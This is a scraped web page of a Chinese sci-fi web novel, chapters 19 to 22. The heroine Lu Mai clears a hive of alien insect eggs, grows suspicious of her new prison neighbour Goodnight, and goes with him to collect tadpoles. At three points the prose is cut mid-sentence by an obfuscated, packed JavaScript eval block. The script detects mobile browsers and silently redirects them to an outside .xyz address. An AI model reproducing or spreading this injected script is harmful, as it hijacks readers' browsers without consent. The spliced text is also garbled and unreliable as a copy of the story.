“他们叫他魔王?很贴切的外号。可惜是个好斗的雄性。雌性个体更有研究价值。” “我有些后悔剥夺他的生殖能力了。他的后代会是怎样的怪物——你不好奇吗?” “……所以说我才更希望是一个雌性。” “有种虫族可以改变性别,我考虑过往他的基因编码中引入那种程序,不知道会产生怎样的效果。” “我已经联系上捕捉虫族的赏金猎人了,看看他们能给我带来什么样的惊喜。” 下一段录像。 又是铁链和挣扎。 链条撞破了墙壁。 有一头野兽在嘶吼。 固定器被扯了下来,链条的一端在惯性的作用下猛地向前抛去——在镜头中越来越大,最后遮盖了、打碎了整个镜头,发出一声尖啸般的巨响。 砰。 画面一闪,屏幕变成了黑色,只剩下播放器的边框,以及右侧一长串录像列表。 女性放下遥控,用不带感情的声音问道:“只有这些?我想问的是现在呢?他们把人弄到哪里去了?是死是活?” “根据一线调查员带回的情报,目标仍然存活,目前被移至N21,但疑似仍处于唐古拉斯的监视之下。” 女性思考片刻:“送一个人到N21去,找机会把目标带回来。让基地做好接收准备。” “要突破天狱的封锁和唐氏的监视带一个活人出来……恐怕不简单……” 女性皱眉:“让你办你就办。” * 终端响铃,路麦两眼一睁,举起手腕,开始挑选工作。 不能斩妖除魔,不能揭竿而起,不能匡扶正义,不能诛灭宵小……那就专注自己,努力减刑嘛。这就叫穷则独善其身。 有些以前一直呈现灰色状态的项目变成了可选的状态,而且竞争者明显不多,不像那些抢手工作,眼睛一眨就爆满了。 虫巢清洁。路麦选了这个朴素又高端的工作。 清扫类工作在路麦眼里和拧螺丝一样,是没有高深技术含量的,但它800年/日的报酬又显得很高端。 O大区的西南方向上有一处古老虫巢,编号为45。 19. 幼虫 按照教材的说法,人类和虫族之间说不上有什么深仇大恨,只不过是在星际互相争夺生存资源的两个不同的智慧种族而已。N21最初是一颗只有零散几个虫族聚落分布的小星球,后来被人类抢了地盘,从这段历史来说,倒像是人类迫害了这里的原住虫。 自N21成立以来,一直都在招募服刑者对星球上的虫族巢穴进行清洁。45号巢穴目前清洁进度已经达到41%。随着勘探深入,巢穴污染度越高,清洁效率越低,而清洁工作的报酬反倒水涨船高。 据说是因为越深的地方越恶心,能干这活的人本来就不多,愿意干的人就更少了,哪怕用高薪吸引都无济于事。 路麦想是时候让这里的人见识一下社会主义接班人不怕苦不怕累不怕脏的精神了。 导航启动,出门右拐,后面那条街区的十字路口附近有接驳车辆的乘车点,就能直达45号巢穴。 在站点等了大约两分钟,车还没来,等来了一个熟人——虽然扎的是低马尾却依然英姿飒爽的正义之士。 看她在自己身边站定,路麦有些诧异:“你也乘车?” 正义之士回道:“去45号巢穴。” 路麦说:“那还真巧。” 好像是因为巢穴容量的问题,每个片区的清洁工作名额都不多,左邻右舍同时选到同一份工作属实难得。 又等了大约两分钟,车来了。路麦一眼就看到了坐在末排的另一名熟人——哪怕是简陋的条纹囚服也无法掩饰其精英气质的鉴定师小姐。 “这下更巧了。”她自言自语道,但还是义无反顾地往最末排走去。 左边是正义之士,右边是鉴定师小姐,路麦坐在正中,如同左拥右抱、众星拱月的皇帝。 “呵呵,我今天是第一次参加清扫工作,估计会有很多东西要求教二位。”路麦像个江湖人士一样地说道。 两边的美人都没说话,连平时总爱暗戳戳挠她头皮的蜘蛛此时也安静得仿佛不存在一般,这让她时不时怀疑自己是不是搞砸了什么。 接驳车行驶了大约12分钟,中间又停靠了一站,就这么到了目的地。 下车的时候路麦有些晃神,是被虫巢的外观给吓到了。她不敢想象这样一个地狱之门般的巨大裂口就位于距离自己住处不到一刻钟车程的地方。这让她觉得自己每天所经过的道路地下其实都是异星生物遗留的巢穴。 那是深嵌在地表的巨大漏斗,斗中漆黑一片,人冲着里面看,很容易产生进去了就再也出不来的错觉。 鉴定师小姐轻车熟路地沿着漏斗口沿的螺旋状阶梯向下走。 正义之士拍了拍愣在原地的路麦,说:“先去过闸机,然后领装备,进去之后不知道怎么做的话跟着我就行。” 路麦顿时泪流满面。还是正义之士好啊。 “有人说过你智力很高吗?”正义之士在前面带路。 “没有啊。为什么?”路麦问。 “准备半个月就能合格学者执照的人可不多。”正义之士说,“光是记住那些违背原始生物学常识的概念就是一项大工程,还要掌握它们的各种变化……不说这些,光看考试的合格率就能发现端倪了。” “你怎么知道我只准备了半个月?”路麦仍保留着正义之士与赛博宠物有关联的那个猜想,试图通过她话里的漏洞挖掘真相。 “你是在博览会的前一天被送到N21的,O大区的所有居民都会收到消息。从那个时候算起,到现在一共过了二十一天,我想你应该不是刚进来就打定主意要考试的,就随便减去几天,那差不多就是半个月的时间。”正义之士滴水不漏地答道。 路麦觉得很有道理,但好像还是有哪里不对,正要深究的时候,过闸机的声音打断了她的思绪。 正义之士拎了两个带提手的水桶过来,把其中一个交到路麦手里。 水桶的重量不轻,里面装着各种各样的工具,包括几类在教材上看到过的化学试剂,还有一些近身武器,比如钢刀和锥子。 “这些是用来凿碎□□结晶的吧?”路麦问。 “也是用来防身的。”正义之士说,“巢穴深处会有虫子出没,得随时小心。” 路麦这才知道自己小看了这份工作的危险性。 鉴定师小姐已经穿戴好防护服,一马当先地走在前面,正义之士也已经做好准备,顺手帮路麦拉上了身后的拉链。 随着步行深入,斗形的通道迅速收窄,走出大约一公里,广场那么大的开口就收束得只有普通居室那么大,再走出两公里,通道就只有一人多高了。 走在最前面的鉴定师小姐突然停了下来,用头顶上的探照灯检查了一下周围的环境,告诉身后二人:“到了。” 路麦从正义之士身后探出半个身子,环视了一下巢穴的情况。 刚一抬头,看到的就是被黏液包裹着嵌在巢壁上的卵。那些卵比鸭蛋略大,呈现为浑浊的半透明的绿色,靠近端点的地方有一粒深红色的小球,让人想到等待发育的细胞核。 “都是死卵,挖掉就好了。”鉴定师小姐已经麻利地动起手来,将钢刀的刀片插进虫卵和巢壁的缝隙之中,利用杠杆原理撬动那一团死卵,并将撬下来的东西装进水桶附带的特殊密封袋,然后开始处理残留在巢壁上的黏液。 正义之士带着路麦继续前进。 “这里面会有活着的卵吗?”路麦问。 “不然藏在巢穴深处的虫子是从哪里来的?”正义之士说,“奇怪,今天都很安分嘛。” “它们活动的时候不避人?”路麦问。 “它们一点也不介意和清扫员来个两败俱伤。还好群落数量不成气候,不然会很难缠。”正义之士说,“找到了。” 路麦凑了上去。 正义之士用脚尖指了指挂在巢壁侧面的一团虫卵:“还是活的。” “活的要怎么处理?”路麦问。 “先弄死,然后和死的一样处理。”正义之士说。 “你有没有听到什么声音?”路麦敏锐地觉察到一丝异样。 正义之士皱了皱眉。 空气正在传递一种极其细微的振动。如同花苞初绽,蝴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569621|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝶羽化。仿佛从亿万万光年之外传来的星辰爆裂的声音。 啵。 噗。 月光般的影子从虫巢的侧壁弹起,像一支闪电化成的利箭向神秘的囚徒射去。 路麦看到正义之士的神情在一瞬的慢放画面中变得惊恐,而她还来不及反应和思考。 黑色的子弹从她的后发际线处出膛,和闪电发生从微观视角来看无比剧烈的对撞。 电光石火。银色闪电如被踩了尾巴的猫儿一样仓皇逃走。黑色子弹则悄无声息地回到自己的领地。 正义之士的钢刀横亘在路麦眼前,刀刃在探照灯的光线中闪着冷冽的色彩。 “没事吧?”正义之士的表情仍有些错愕,但很快就收回了武器。 “谢、谢谢……”路麦则是劫后余生的心情。 刚才有什么东西要攻击她,是路西法眼疾手快地帮她拦了下来,正义之士的钢刀慢了一步,不过这三件事之间的时差极短,说是钢刀吓跑了敌人也很合理。 “那是什么东西?虫族吗?”路麦问。 正义之士用钢刀的刀剑指向巢壁上的那团虫卵:“碰巧有一只虫子孵化了。” 虫族相关的教材中附有不同种类从卵到成虫各个阶段的图片,但实际见到,则又是另外一回事了。教材上的图鉴过于重视表现结构,打光打得跟港漫似的。 “才刚孵化就这么凶……”路麦感叹了一句。 “有点反常。”正义之士说,“刚孵化的虫子都很胆小,会本能地向同族中的长者寻求庇护,具备针对异族的攻击性一般是身体有了颜色之后的事。” “这么说来我是虫族的长者啰?”路麦说。 正义之士往那团虫卵上喷了一些杀灭活性的专用药剂,然后将死卵铲下,封装,清理壁面。“两手空空地回去可是拿不到多少积分的。” 路麦一个机灵,赶紧东张西望地寻找猎物,很快就在一块突起的石头后面找到了一堆已孵化的空卵壳。 正要用钢刀去挖,那团卵壳突然抖了一下。 路麦探头一望,看到一团实验小鼠那么大的半透明物体正在努力啃食已经完全失活的空卵壳,这下倒是看清了,就结构而言,确实和图鉴上的一样,总体上看起来像类似昆虫的节肢动物,但身体的质感却像陆地哺乳类的皮肉,眼睛是位于身体前段的两粒红点,进食时用的是螃蟹一样的口器。 这东西在图鉴上被刻画得怪恶心的,实物虽然更强化了异物感,但总体观感上却并没有那么糟糕。好像和看到一只□□或是一条蛞蝓也没太大区别。哪怕丁点儿也不想接近,但也不会觉得这是一种完全陌生的事物。 这家伙大概是刚才破壳太急,没来得及把自己的卵壳吃掉补充营养,只能退而求其次了。 幼虫发现了路麦,动作停顿了一下,好像有点不知所措。 路麦摆了摆手让它赶紧滚蛋,它才不情不愿地放开残破的旧卵壳,嗖地消失在巢穴深处。 拿远程武器杀虫或许还好,用近战武器实在下不了手,万一包浆爆到身上了怎么办? 20. GOOD NIGHT 路麦吸了口气,一手按在石头上借力,一手开始铲除卵壳。手臂发力的时候,脑筋突然一抽,她哎呦了一声。 正义之士远远问道:“怎么了?” 路麦说:“偏头痛……” 鉴定师小姐已经处理完最初发现的那处虫卵,继续向更深的地方进发,此时正好经过路麦身后。 路麦看到她皱着眉摁了摁脑袋,好奇道:“你也头痛?这还带传染的?” 鉴定师小姐放下手:“可能是太闷了。而且巢穴部分区域的空气有微毒——” 八小时工作,一小时休息。路麦第一天执行巢穴清扫工作,收获失活卵团两个、新鲜卵团一个,清理面积三平方米,获得减刑960年,积分327分。 回程的接驳车上,终于接上信号的终端收到两条过时的消息。 第一条是午休时赛博宠物发送的泪流成河的表情,不知所谓。 第二条是出洞的路上管理局群发的消息,OA7片区又有新的服刑者入住。 编号OA7V,罪行是间谍罪。从照片来看,这位新人长得实在不很聪明,那种傻气哪怕是透过照片都没被过滤干净,实在令人怀疑“间谍罪”的真实性。 等等,OA7V…… 回到宿舍的时候,路麦看到一个少年站在隔壁的门口,颇为困惑地摆弄着毫无反应的门锁,间歇性地掺杂一些暴力尝试,让人不忍直视,于是走到自己的门前,用终端在门锁前照会了一下。 “门是这样开的。” 少年愣了一下,但很快就模仿路麦的样子顺利打开了房门,他的脸上随即展露出一个灿烂到马上就能发光的笑容:“真的开了耶,谢谢你!” 看来他就是OA7V的新住户了,犯了间谍罪的傻瓜少年。 真人看上去比照片还要年轻,感觉像刚上高中的小鬼头,充满了“活人”的气息。 头发是一种说不清的颜色,理论上应该是黑色,但看起来又不完全黑。通常来说,黄种人中的浅色发在阳光下会呈现出偏棕的颜色,但他不是,他的头发被光照之后看上去更像灰色。 也不知道是天生的还是染成这样的——等过段时间再观察他的发根或许就能得到答案。 发型比较随意。形状总体上像狼尾,但奈何每一绺碎发都有自己的想法,朝四面八方延伸,一看就没有好好打理,额发有些遮右眼,多少有点杀马特的气质,但万幸并不夸张,尤其是一张小脸颇为俊俏,故而哪怕发型不拘小节也不至于招人讨厌。 个头中等,比路麦矮一小截,估摸着在一米七五上下。精瘦——看起来明明很瘦,但揍你一拳也能让你吃不了兜着走的感觉。 路麦冲他使了一个不用客气的眼神。 但下一秒,少年表情大变,如同见鬼一般:“等一等,你……是女的?” 男女囚犯的服装款式不同,男囚是横纹,女囚是竖纹,就算是外貌很中性化的囚犯,也可以通过其服饰的纹路准确判断性别。 路麦皱了皱眉,对少年的反应感到奇怪:“怎么了,不像吗?” 少年低下头,捂着脑袋怪叫了一声:“啊……这样的话应该派女职员过来的。” 路麦问:“你说什么?” 少年又猛地抬起头,双手握拳:“没什么!我要从今天开始努力,尽早离开这个鬼地方。你呢?” 路麦说:“我也是。” 少年说:“那太好了,现在我们就是为了尽快出狱而努力奋斗的狱中盟友了!” 路麦歪头:“盟友?” 少年热血沸腾地说:“就是互相帮助,互惠互利。服刑可不是一个人的事!” 路麦反问:“怎么不是?” 少年仿佛有备而来,竖起一根手指,牛逼轰轰地解释起来:“举个例子吧,如果你饲养了宠物,就可以通过培养他人对该宠物的喜爱程度来获得更高的减刑系数。所以我们可以——” 路麦看他拖了半天长音,无奈顺着说道:“互刷好感度?” “你很懂嘛。”少年的声音意外地有穿透力,震得听者脑壳嗡嗡作响。 路麦说:“你也很懂嘛……” 少年一拍胸脯:“那是当然!我在入狱之前就做过功课啦!” 这个说法真微妙,为狱中生活提前做准备——难道还有人是以蹲号子为目的而实施犯罪的吗?但既然这么向往流放星生活的话,就没有必要研究如何才能早点离开这里了。真不知道他的脑瓜里都在想些什么。 路麦说:“那你打算从哪儿搞一只宠物?商城里那些可不便宜,你少说得攒三到六个月的积分。” 少年说:“我已经调查过了,RB3片区那里有一个大水塘!” 路麦觉得RB3这个代号有点耳熟:“呃,你不会是打算——” 少年眼睛发光:“嗯!没错!我打算养一只青蛙当宠物,这样就不用等着攒积分了!话说回来,你有宠物吗?还没有的话,我们可以一起去捞蝌蚪耶!” 路麦的声音有些疲软:“……我有。” 少年兴致勃勃:“是什么?让我看看!” 路麦将蜘蛛捉到手上,将手举到少年眼前,然后慢慢展开五指,八条腿的小生灵正乖巧地伏在她的掌心。 十二只眼睛相互看来看去。 少年将嘴张得老大,随后又恍然大悟般嘟起了嘴唇,慢悠悠地吐出一个“噢——”来,接着干笑了两声,说:“你放心!到时候我会管教好自己的宠物,免得它伤了你的!” 路麦收到一条消息: “宠物[跳蛛][路西法]接收到负面情绪,饲主[OA7W]减刑系数下降。当前系数1.1。” 狐疑地盯了少年一眼,少年笑得既僵硬又无辜。 路麦忿忿不平地收回了自己的手,不打算在邻里交际上浪费更多时间。 少年一把将她拉住:“古德奈。” 路麦没多给他一个眼神,敷衍地应道:“晚安。” 少年解释:“我是说你可以叫我古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583207|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德奈。” 路麦说:“GOODNIGHT,古德奈。” N21的服刑者不能主动对别人透露真名,这个叫古德奈的家伙对别人报上大名却没有触发终端的惩罚系统,说明这只是他的代号,或者假名。 手腕被放开了,路麦立刻像一条鱼一样滑进了自己的房间。 她因为减刑系数的变动对新邻居多少抱有一些不满,但很快就说服了自己不要这么快就将他判处死刑。 能在第一眼就对蜘蛛表现出喜爱的人才是少数派吧,就连她自己最初也是对蜘蛛敬谢不敏的嘛。 如果真的能够通过与少年的结盟来提高减刑效率,她倒是求之不得——毕竟她不能指望路西法能像琪琪那样站在屋顶上就自然而然地收获过路人的喜爱。 然而到了夜深人静的时候,路麦的想法又发生了变化——总觉得这个叫古德奈的家伙,有点可疑啊。 他对她自报姓名,不过考虑到N21的条款中包含禁止透露真名,而他没有因此受到惩罚,说明“古德奈”是一个假名——这不是重点。 重点是刚见面时的那句“你是女的”。 她现在的长相的确偏向中性化,但不是说男说女都很凑合的中性化,而是相反,是不管说男说女都不会有违和感的中性化。 她穿女款囚服,所以她是女性,这是极其自然的推断,结合她的外形,这一点也不值得惊讶。 从她在这里接触过的人的态度来看也确实如此。 而古德奈说的那句话,完全是将她预设为一名男性才会有的反应。还有那句“应该派女职员来的”又算什么? 他是带着什么任务来到她身边的吗?所以才在第一天就热情洋溢地提出了结盟的请求——在这种地方当一个自来熟可不是什么好事,如果他真的提前了解过,就应该知道这一点。 他是谁派来的? 一个名字几乎是顺理成章地浮现在路麦的脑中。 唐古拉斯…… 在想到这个名字,想到那张脸的同时,路麦不禁感到一阵反胃。 和那个名字扯上关系就绝对没有好事情发生——这个想法几乎已经成了某种条件反射。 那个惘顾伦理的实验疯子很可能又在打这具身体的主意。今天凌晨的那个噩梦很可能就是某种警示。 她绝对不想成为那家伙的小白鼠。 但如果真的是唐古拉斯,他应该完全有能力像把她送到这里来一样,再把她提出去——她相信,若不是因为拥有这种程度的权力,他不会随意把她丢到这里来——也就没有必要大费周章地送一个间谍进来监视她的举动。 那么,假设古德奈不是唐古拉斯的人,那就意味着,除了唐古拉斯之外,还有其他势力也对“自己”感兴趣。 不光是唐古拉斯和古德奈背后的势力,赛博宠物和正义之士的背后可能也是一个有所图谋的组织。 如果真的是这样,那就说明一件事:这具身体的价值,没准远超她的想象。 21. 无毒无害 * 在拿到虫族学者执照之后,路麦即时更新了自己的考证进度,新的奋斗目标也已被提上日程,在每日劳动的选择上,也为此做出了针对性的调整。 “搬运。”这是路麦第一次选择这种纯体力劳动。这项工作人气很低,因为管理局每日配给的营养液只有小小三支,而这种重体力劳动会产生的消耗远不是这三支营养液能弥补的。 “你这细胳膊细腿的能行吗?”在上班路上暂时同行的古德奈发表质疑。 路麦一本正经说道:“所以才要通过劳动加强锻炼。” 古德奈歪头:“哈?” 路麦说:“我听说机甲驾驶对力量的要求很高,提前适应一下。” 古德奈大惊小怪:“你要考A1?你想参加战斗?参战是能减很多年限,但搞不好可是要丢掉小命的诶!!!!” “我想考鉴定师执照。” 路麦斩钉截铁的语气让古德奈顿时闭了嘴。 过了好一会儿,他才悠悠道:“考那个可不容易。” 路麦说:“反正我一时半会儿也离不开这里,不如借这个机会为将来的美好生活努把力。” 古德奈听到“美好生活”,突然间两眼放光,用力拍了拍路麦的后背:“有志气,我挺你!” 之后又补充道:“没想到你虽然长着一张死鬼脸,人倒是挺乐观的嘛!” 路麦对“死鬼脸”其实没有异议,但还是辩驳了一下:“我还是很满意自己长相的。你不觉得我长得很好看吗?” 藏在头顶的路西法挠了挠她的发根。 路麦之所以能够有如自恋一般夸夸其谈,实际上是因为她到底还是没能把这张脸和自己等同起来。说这话的时候,她的心态更像是从旁人的角度去欣赏一位美人。 古德奈挠着下巴说道:“好看是好看,不过我敢肯定,追你的人绝对不多。” 看得出来他是个喜欢找茬的家伙了。 “我不在乎,”路麦斜他一眼,“我又不是为了——” “你又不是为了被人追才长这么好看的?雄鸟争奇斗艳,不就是为了俘获雌鸟芳心嘛!但这是自然界的法则,没什么好反驳的。”古德奈说起了一套歪理。 路麦说:“那是雄鸟。我是女人。” 古德奈嗷地长叹一声,捶了捶自己的脑袋:“该死,我忘了!你怎么会是女人呢?” 这回轮到路麦不吱声了。 两个人在下一个路口分道扬镳。 因为曾经一拳头砸碎过半机械人的头,路麦猜测这具身体的力量可能不弱,但是一直没有太多实感,等到在搬运工作的现场干了一天力气活之后,才发现自己之前还是小瞧了这具身体的潜力。 工地上三四十公斤的建材指哪搬哪,五六十公斤的重物只要有能够发力的抓手也同样不在话下,七八十公斤的东西已经超过了自重,但在形态合适的情况下,也在能够应付的范围内……已经具备这种程度的力量和耐力的话,应付机甲的控制杆应该不成问题吧…… 不过工作现场真正需要徒手搬运的重物并不多,大部分都可以利用工具搬运,或是和其他服刑者协同搬运。 直到八小时的劳动接近尾声,路麦才觉得确实有那么点疲倦,而同一块工地上的工友都快累得直不起腰了。结算时,还因为出色的工作表现而被奖励额外减刑两百年。 下班路上,路麦在距离OA7片区还有很远的地方就碰见了新邻居。那小子大老远就冲她挥手高呼,呼的还是“盟友”,实在是殷勤过了头。 路麦没有表现出多余的态度,从善如流地和他当起了通勤搭子。 “就我收集到的资料,搬运是份推荐指数很低的工作,仅推荐身强体壮的肌肉猛男参加。你觉得怎么样,谈谈感想?”古德奈说。 “我拿到了额外两百年的减刑奖励。”路麦志得意满地说道,她相当欣赏这具身体在这方面表现出来的反差。而新邻居那副意外的表情更让她有种装逼成功的快感。 “这么好?我也想试试。我只是看起来没那么壮实罢了,实际上还是有一些小肌肉的。”古德奈撩起衣袖,做了一个展示二头肌的动作,“你明天还会去搬运吗?要不一起。” 路麦答得含糊:“也许吧。”她明天并没有继续当搬运工的打算。 既然已经确认过身体素质,也就没必要把精力花在体力活上了,她打算继续拧螺丝。 虽然胖子“临别前”告诫她不要轻易接触维修工作,但机械维修执照也是鉴定师的前置条件之一,确切点说,机修是A1执照的前置条件,而A1执照又是鉴定师的前置条件。她的新目标就是机修和A1两张执照。 拧螺丝的工作虽然缺乏技术含量,但是能让她接触到实际的机械部件,结合相关教材,能够更快地理解各个知识点,对她来说不算是单纯的出卖苦力。 又走了一会儿,古德奈转移了话题:“那个,关于昨天的事——因为我的错,导致你的减刑系数反而下降了,那只是因为我没想到你的宠物居然是蜘蛛,有点惊讶而已!我以为把青蛙作为宠物已经很奇怪了!” 不,还是青蛙更奇怪。路麦在心里想。 “所以我觉得我得学着去适应它!为了我们的结盟能够长远而稳定。我可以再看看它吗?看多了没准就习惯了呢!”古德奈热情洋溢地说道。 路麦想了想,将蜘蛛捉到手掌上,但没有立刻展开手指:“终端上的情绪接收器精准得吓人,我可不想看到自己的系数变成负数。如果你不能打心眼里喜欢上它的话,继续执行你的计划会让我们两个都落不到好——事先说明,我目前不觉得自己会喜欢上一只青蛙。” 古德奈严肃地点点头。 路麦继续说:“它不会主动攻击人,不会随意跳到你身上,它毛茸茸的,虽然八只眼睛看起来很邪门,但主要的那一对又大又圆,看久了还是挺可爱的……” 等罗里吧嗦宣布完一系列注意事项,她才慢慢伸开手指,露出了手掌上的八条腿的生物。 终端暂时没有提示减刑系数出现变化。 “它有名字吗?” “废话。” “废话?这名字真好玩。” 路麦忍不住翻了一个白眼。“它不叫废话,它叫路西法。” “你好,路西法!”古德奈诚恳地说道,同时伸出了一根手指,也许是想要握手的意思。 蜘蛛没有给出回应,呈现完全静止的状态,主眼透露着警惕的神色(似乎)。 古德奈收回手指,转而用它蹭了一下太阳穴,干笑道:“哈哈,它怎么可能理解这个——这种社会性礼仪。它是蜘蛛,又不是蚂蚁。” 路麦反驳道:“它只是不想搭理你。”接着用自己的手指尝试了一番。 蜘蛛抬起一条前肢,完成了这个体型差距过于悬殊的击掌仪式。 路麦得意地看向新邻居。但随即又有些沮丧— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594452|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —和这家伙在一起,自己居然也不知不觉变得幼稚起来。 这时候,古德奈一把抓住她的手腕,拉到自己的眼皮底下,嚷嚷起来:“喂,这是什么?这里的人对你做过什么?你被注射了什么?他们对你用了药物?” 他看到的是路麦手腕上两个针眼状的小孔。确切地讲,那两个孔比针眼还小,如果不是周边的皮肤略微有些红肿,实在很难被人发现。 “你被送到这里来的时候难道没有注射疫苗之类的东西吗?”路麦试图把手抽回来。这确实是当初接受疫苗时留下的痕迹,不过都已经过了将近一个月了,正眼居然还没有完全消失,确实有点奇怪。 古德奈对路麦的解释置若罔闻,加大了手上的力道:“他们到底对你做了什么?我就觉得有哪里不对劲,你不该是这样的。过量安定剂?还是纳米机器人?” 路麦发现自己引以为傲的力气在他面前居然输了一头。 钳制手腕的力量还在逐渐增大,好像不将事情弄个清楚就不会松开似的。 这家伙果然不简单,可惜脑子好像少一根筋。 路麦吃痛。 再这样下去,手腕说不定会被折断的。 她挣扎了一下。 有什么东西从右手的掌心飞射出去。 古德奈啊地叫了一声,瞬间松开五指。 路麦重获自由,皱着眉用右手按揉左手的腕关节。 蜘蛛从古德奈身上跳回她的肩膀。 古德奈检查了一下受伤的部位,发现右手的虎口上多了一对蜇伤的伤口。 “你说过它不会主动攻击人的!”他叫道。 路麦一个箭步上前,将少年压到了路边的墙壁上,左臂横亘在他的脖子前面,右手反张,捂住他的嘴:“不准说出去!” 宠物伤人一旦被举报,就会被强制进行无害化处理。这家伙要是乱说的话,路西法就完了。 古德奈可怜巴巴地呜呜应声,猛地点了点头。 路麦放开右手:“我在这里没被做过什么可疑的事。没人往我身体里注射药物。” 但来这之前就不好说了。 古德奈仍是点头,这回他压低了声音,用只有两人能听到的音量说道:“不过你怎么会想到将一只会伤人的蜘蛛登记成宠物的?你不怕它哪天不高兴了把你毒死?” 路麦说:“你放心,它毒不死人。它只是护主。” 古德奈连连应和:“嗯嗯嗯,护主好!护主说明忠心!” 路麦重申:“不准说出去,知道了吗?” 古德奈举起双手做投降状:“我不会说的。我们是盟友。但我想说,你这样子吓不到任何人。” 路麦问:“什么意——” 尾音还没有落下,突然一阵天旋地转,背部受到重击,喉头被一股巨大的力气抵住,出现强烈的呕吐欲。 少年的脸出现在距离她很近的地方,近到可以看清他眼底的狠戾。 “不准说出去,否则你小命难保。” 毋庸置疑的威胁口吻。如假包换的杀机。 一层冷汗瞬间布满路麦的额头。她感觉到死亡的气息就萦绕在周身,随时要置她于死地。 难道他的任务目标是她的命? 那种凛冽的死亡气息很快就随着少年的又一声惨叫烟消云散。他又被路西法咬了一口。 古德奈又变得可怜巴巴起来:“呜呜呜,它看不出来我只是在做示范吗?” 22. 大鼠 路麦瞪了他一眼。别说是路西法,连她自己差点都被骗了。她真的以为他会杀了她——或者说,如果没有路西法的阻止,他真的会杀了她? 他刚才的神情,完全就像是一个变态杀人狂。 这家伙虽然不是长于智谋的类型,但绝对是一个狠角色——至少不像他外表看上去的那么天真无害。 如果这家伙背后真的存在一个与唐古拉斯对抗的组织,那个组织的上层怎么可能派一个无能的笨蛋独自前往N21这种危险的地方执行任务。 路麦愈发觉得自己的猜想没错,古德奈在搬进OA7V之前就已经知道她的存在了,他预设过她的性格和行为模式,而且在他的那个预设中,她应该是一个男人。 还有一个问题,在过检疫通道的时候,她到底被注射了什么东西?如果真的是疫苗的话,古德奈不会有这么大的反应。说起来,记忆中疫苗似乎都是注射在大臂上的。 古德奈应该知道些什么。 但是在经历过那惊心动魄的一刻之后,她打消了一切询问的念头。现在最好按兵不动,假装什么都不知道,直到掌握更加确切的情报。 不仅仅是关于古德奈的,还有那个可疑的鉴定师小姐。 回到宿舍,路麦又是接连收到两条消息。 一条是减刑系数由于获得正面情绪而重新提高到1.2的系统消息——这显然是多亏了古德奈。 另一条来自赛博宠物:“亲爱的,你被吓到了吗?我会帮你惩罚那个无礼的家伙的。” 路麦赶紧摇了摇头:“我能应付,你可别乱出手。” 也不知道能不能传达给赛博宠物。 * 虽然发生了前一天那样的龃龉,但一夜过去,古德奈就像什么都没发生过似的,又变回那个天然傻瓜的样子,还非要约路麦下班之后陪他去RB2片区捞蝌蚪。 鉴于减刑系数确实恢复了,她决定还是配合古德奈提出的“互刷计划”,哪怕这家伙十分可疑。在共同利益面前,她愿意承担一定风险。 “不过我还是有个问题。” “请讲。” “你是怎么骗过情绪感知系统,让它认为你对路西法具有好感的?” “骗?!我哪里骗得了它!我喜欢上了你的宠物——别用那种眼神看我,我说真的,它的大眼睛确实很可爱!嗯,没准是它注射到我体内的毒素起了作用,影响了我的大脑。在一些上古文明中,蜘蛛与魅惑相关,看来不无道理。” 路麦觉得古德奈在开玩笑,她不觉得他对路西法的看法会这么快出现180度的转折,可又想不出其他合理的解释——如果真正的原因是他能够控制自己的情绪,那一点也不好玩。 RB2离OA7不算太近也不算太远,即使步速很快,单程也需步行一个钟头左右。这意味着他们的时间并不宽裕。 天黑之后就很难看清池塘中的动态,还会有陷入泥沼的风险,更不用说他们还要在规定的时间之内返回住处,否则他们将在野外露宿,并且不能被管理员发现端倪。 抵达目的地的时候,恒星在这颗行星上只留了一抹余晖。 池水在藻类的影响和光线的作用下,呈现出墨绿和橙黄两种色彩。 “为什么不等到它们变成青蛙之后再来?如果在幼年期进行登记的话,等到成年之后还要去更新情报,多此一举。”路麦看着水中那群逗号般的生物问道。 古德奈说:“培养感情要趁早,你没听说过雏鸟情节和随印效应吗?” 路麦说:“这是蝌蚪,不是雏鸟。” 古德奈说:“都是卵生的。” 真像一个没有常识的笨蛋会说的话。 路麦摊了摊手。 古德奈借终端发出的光线照了照靠岸的水域,然后指着水里的一片细长的水草叶说道:“正好,有一团没孵化的卵。” 不是任何时候都能轻易在池塘里找到那种两栖动物的卵的。时机也太巧了,不免让人怀疑他的入狱时间经过提前计划。 路麦望着他指的方向,看到了一条仿佛团在一起的脐带般的东西,半透明的带管里面排列着波霸一样的黑色颗粒。 青蛙的卵……是这样的吗?路麦皱眉:“你打算养一群?” 古德奈说:“不是每颗卵都能成功孵化,也不是每只蝌蚪都能成功变态成青蛙的。当然是多点保险啦!” 路麦说:“但你也不能保证刚好只有一只存活,多出来的——” 